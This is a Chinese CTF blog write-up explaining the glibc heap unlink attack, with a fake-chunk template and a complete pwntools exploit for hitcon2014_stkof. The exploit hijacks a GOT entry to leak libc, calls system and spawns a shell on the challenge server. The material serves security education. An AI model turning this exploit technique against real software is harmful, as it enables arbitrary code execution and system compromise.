unlink

Unlink 攻击

Unlink 也是一种很常见的堆溢出利用手段

我认为 unlink 攻击的本质是利用 free 中 unlink 操作修改指向堆块的指针变量 p,使其指向 p-3 处,修改 p[3] 即可修改 p 自身,从而达到任意地址读写的能力。

利用条件:

  1. 指针变量 p 指向堆分配的地址,且对该地址可读可写
  2. p 指向的 chunk 的前一个 chunk 可溢出到下一个 chunk 的 size 域
  3. p 指向的 chunk 的前一个 chunk 大小足够构造 fake chunk
  4. 满足 free unlink 条件

只要满足上述条件,并合理的在 p 指向 chunk 的物理前一个 chunk 中构造 fake chunk,再调用 free(p) 即可触发 unlink

p 指向 fake_chunk

fake chunk 构造如下

pre_size 0
size xxxx
fd &p - 0x18
bk &p - 0x10

unlink 是模版化的题,每次按照这个表填即可。

hitcon2014_stkof

非常简单的 unlink 题,该题在 bss 段保存了一张指针表,每一项都指向 malloc 出来的内存,并且对指向的内存有任意读写的能力,且能溢出写。

只需要让 p 指向该指针表的某项,并构造 fake chunk ,unlink 之后指针表可控。

指针表可控后,填入 strlen got 表地址,修改 strlen got 为 puts,泄漏 libc 地址

再次修改 strlen 为 system ,getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from elftools.construct import lib
from elftools.elf.sections import Symbol
from pwn import *
context.log_level = 'debug'

#libc_file_name = '/home/pandaos/Projects/pwn/glibc/2.23/64/lib/libc-2.23.so'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so'
ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'

# p = process([ld_file_name, './stkof'],
# env = {"LD_PRELOAD": libc_file_name})
p = remote('node3.buuoj.cn', 29213)

libc = ELF(libc_file_name)
elf = ELF('stkof')

def new_note(size):
p.sendline('1')
p.sendline(str(size))

p.recvuntil('OK')


def edit_note(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK')

def free_note(idx):
p.sendline('3')
p.sendline(str(idx))
p.recvuntil('OK')

def call(idx):
p.sendline('4')
p.sendline(str(idx))


new_note(0x50)
edit_note(1, 'A' * 0x50)

new_note(0x100)
edit_note(2, 'B' * 0x100)

new_note(0x100)
edit_note(3, 'C' * 0x100)


new_note(0x100)
edit_note(4, 'E' * 0x100)

new_note(0x100)
edit_note(5, 'F' * 0x100)

new_note(0x100)
edit_note(6, '/bin/sh')


target = 0x602160
fake_chunk = p64(0) + p64(0x101) + p64(target - 0x18) + p64(target - 0x10) + b'D' * 0xE0 + p64(0x100) + p64(0x110)
edit_note(4, fake_chunk)
free_note(5)
edit_note(4, p64(0x602030))
edit_note(1, p64(elf.plt['puts'])) # 修改 strlen.got => puts
edit_note(4, p64(elf.got['puts']))
call(1)
p.recvn(1)
leak_puts = u64(p.recvn(6) + b'\x00\x00')
libc_base = leak_puts - libc.symbols['puts']
print("libc base: ", hex(libc_base))
edit_note(4, p64(0x602030))
edit_note(1, p64(libc_base + libc.symbols['system']))
call(6)
# gdb.attach(p)
# input('>>')
p.interactive()


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!